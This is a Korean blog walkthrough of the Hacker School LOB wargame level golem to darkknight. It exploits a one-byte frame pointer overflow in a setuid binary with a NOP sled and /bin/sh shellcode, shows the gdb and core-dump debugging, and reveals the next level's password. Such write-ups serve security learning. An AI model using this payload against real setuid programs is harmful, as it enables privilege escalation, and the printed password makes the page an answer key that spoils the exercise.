[lob] 해커스쿨 golem -> darkknight 풀이

l 해커스쿨 golem 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

golem 문제의 아이디인   golem 와 password인   cup of coffee  을 입력하여 golem의 유저로 접속합니다.

 

 

 

[golem@localhost golem]$ ls -l
total 16
-rwsr-sr-x    1 darkknig darkknig    12053 Mar  2  2010 darkknight
-rw-r--r--    1 root     root          355 Mar 29  2010 darkknight.c

[golem@localhost golem]$ cat darkknight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include  <stdio.h>
#include  <stdlib.h>

void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }

        problem_child(argv[1]);
}

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/golem ) 아래에 있는 디렉터리의 목록을 확인합니다.

darkknight.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. problem_child 함수에 인자로 argv[1]을 전달합니다.

3. problem_child 함수에서는 src의 41바이트를 buffer에 저장합니다.

 

힌트 코드에도 나와있지만 이번 문제는 FPO를 이용한 문제입니다. 우선 gdb를 먼저 살펴보겠습니다.

 

 

[golem@localhost golem]$ cp darkknight golem

[golem@localhost golem]$ gdb golem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>:       push   %ebp
0x8048441 <problem_child+1>:    mov    %esp,%ebp
0x8048443 <problem_child+3>:    sub    $0x28,%esp
...
0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:   push   %eax
0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>
...

 

 

 

gdb 실행 및 확인을 위해서 darkknight 파일을 복사해 golem 파일을 하나 생성해주었습니다. 

golem 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.

 

 

1. 0x8048443 <problem_child+3>:    sub    $0x28,%esp

0x28을 10진수로 변환하면 40으로, 스택에 40byte를 할당합니다.

 

 

2. 0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>

darkknight.c에서 strncpy 함수로 전달되는 인자는 buffer, src, 41 이렇게 총 3개로 스택에 들어가는 순서는 41부터 들어갑니다. 따라서 마지막 push 되는 주소인 <problem_child+12>의 주소가 buffer의 시작 위치이고, 그 위치는 ebp - [0xffffffd8의 2의 보수]입니다.

 

11011000 => 00100111 => 00101000 = 8 + 32 = 40

buffer는 ebp - 40부터 시작됩니다. 

 

problem_child 함수에서 buffer에 41바이트를 채우게 되면 sfp의 1바이트까지 영역을 침범할 수 있습니다. 즉 sfp의 영역 중에서 첫 번째 바이트를 조작할 수 있다는 의미입니다. 따라서 1바이트를 조작해 우리가 원하는 영역으로 가야 합니다. 

 

 

메모리 구조를 간단하게 나타내면 다음과 같습니다.

 

 

 

sfp의 첫 번째 바이트를 어느 위치로 조작해야 하는지 알아보기 위해 strncpy 다음에 breakpoint를 걸고 실행하겠습니다.

 

 

 

(gdb) b *problem_child+21
Breakpoint 1 at 0x8048455
(gdb) r `python -c 'print "A"*40+"B"'`
Starting program: /home/golem/golem `python -c 'print "A"*40+"B"'`

Breakpoint 1, 0x8048455 in problem_child ()
(gdb) x/100x $esp

0xbffffb08:     0xbffffb14      0xbffffc8a      0x00000029      0x41414141
0xbffffb18:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb38:     0x41414141      0xbffffb42      0x0804849e      0xbffffc8a
0xbffffb48:     0xbffffb68      0x400309cb      0x00000002      0xbffffb94

 

 

 

gdb를 살펴보니 파란색 네모는 [buffer의 시작 - 4byte]이고, 빨간색 네모는 buffer의 시작 지점, 노란색 네모는 sfp 지점인걸 알 수 있습니다.

 

buffer의 시작 바로 전 주소(0x00000029의 지점)는 0xbffffb10으로, 노란색 네모의 42를 10으로 바꾸어 주면 problem_child의 leave 과정에서(mov ebp, esp와 pop ebp) pop ebp가 진행되면 ebp가 우리가 지정한 주소인 0xbffffb10으로 이동하게 될 것입니다. 그 전에 mov ebp, esp에 의해 esp는 sfp 위치에 갈 것이고, pop ebp에 의해 esp는 main으로 돌아가는 ret 위치에 있게 됩니다. 

 

그 후 main의 leave 과정에서 한 번 더 mov ebp, esp와 pop ebp가 진행되고, mov ebp, esp에 의해 esp는 0xbffffb10으로 이동하게 되고, pop ebp에 의해 esp가 4byte 위인 buffer의 시작 주소를 가리키게 됩니다. 따라서 buffer에 셸 코드를 넣어주면 두 번의 에필로그 과정을 통해 셸 코드 실행이 가능해집니다.

 

 

 

페이로드를 작성해보면 다음과 같습니다.

 

| 페이로드

 ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x10"'`

 

 

 

[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x10"'`
1ÀPh//shh/bin‰ãPS‰á‰Â°
                      Í€úÿ¿žMüÿ¿ûÿ¿Ë    @
Segmentation fault

[golem@localhost golem]$ ./golem `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x10"'`
1ÀPh//shh/bin‰ãPS‰á‰Â°
                      Í€ûÿ¿žWüÿ¿(ûÿ¿Ë   @
Illegal instruction (core dumped)

 

 

 

darkknight 파일에 바로 페이로드를 넣어보았지만 Segmentation fault가 떴고, core dumped도 뜨지 않았습니다. 그래서 golem 파일에 페이로드를 넣어보았더니 core dumped가 떠서 core 파일을 통해 정확한 주소를 찾아보겠습니다.

 

 

 

[golem@localhost golem]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./golem 1ÀPh//shh/bin‰ãPS‰á‰Â°
                                                     Í€'.
Program terminated with signal 4, Illegal instruction.
#0  0xbffffb56 in ?? ()
(gdb) x/100x $esp

...
0xbffffc38:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc48:     0x36690000      0x2e003638      0x6c6f672f      0x90006d65
0xbffffc58:     0x90909090      0x90909090      0x90909090      0xc0319090
0xbffffc68:     0x2f2f6850      0x2f686873      0x896e6962      0x895350e3
0xbffffc78:     0xb0c289e1      0x1080cd0b      0x44575000      0x6f682f3d
...

 

 

 

90이 처음 시작하는 부분은 0xbffffc48이고, 그거보다 한 칸 낮은 0xbffffc44로 주소 변경해주어야 합니다. 위의 페이로드에 sfp의 첫 번째를 \x44로 바꾸어 다시 실행해보겠습니다.

 

 

 

[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x44"'`
1ÀPh//shh/bin‰ãPS‰á‰Â°
                      Í€Dúÿ¿žMüÿ¿ûÿ¿Ë   @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

 

 

 

sfp의 첫 번째 바이트를 \x44로 덮은 페이로드를 넣고, id 명령을 입력하니 euid가 darkknight인 것을 확인할 수 있습니다. my-pass를 입력해 darkknight user의 비밀번호를 찾을 수 있습니다.

 

 

 

l darkknight 비밀번호

더보기

euid = 512 
new attacker

 

이 글을 공유하기

댓글

Designed by JB FACTORY